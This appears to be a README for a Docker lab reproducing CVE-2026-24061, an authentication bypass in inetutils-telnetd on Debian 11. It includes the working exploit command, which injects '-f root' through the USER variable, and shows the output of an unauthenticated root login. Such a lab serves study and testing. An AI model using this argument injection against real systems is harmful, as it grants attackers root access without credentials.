leonjza/inetutils-telnetd-auth-bypassA small docker lab to play with cve-2026-24061, the inetutils-telnetd authentication bypass.
A small lab to play with the auth bypass in inetutils-telnetd 1.9.3 - 2.7 as disclosed on the oss-sec mailing list. [0]
This container relies on the fact that inetutils-telnetd is still a vulnerable version in Debian 11 (Bullseye). At the time of creating this, it was:
root@ba8cc6858b87:/# apt search inetutils-telnetd
Sorting... Done
Full Text Search... Done
inetutils-telnetd/oldoldstable 2:2.0-1+deb11u2 arm64
telnet server
Clone and build the container with docker build -t telnetd-exploit ..
Run the container with docker run --rm -it telnetd-exploit. A message will show you the PoC.
docker run --rm -it telnetd-exploit
Starting internet superserver: inetd.
You are user1. Try telnet as root with: USER='-f root' telnet -a localhost
user1@114102afa5d3:/$
A successful run would look something like this:
user1@114102afa5d3:/$ USER='-f root' telnet -a localhost
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.17.8 (114102afa5d3) (pts/1)
Linux 114102afa5d3 6.17.8 #1 SMP PREEMPT Thu Nov 20 09:34:02 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@114102afa5d3:~#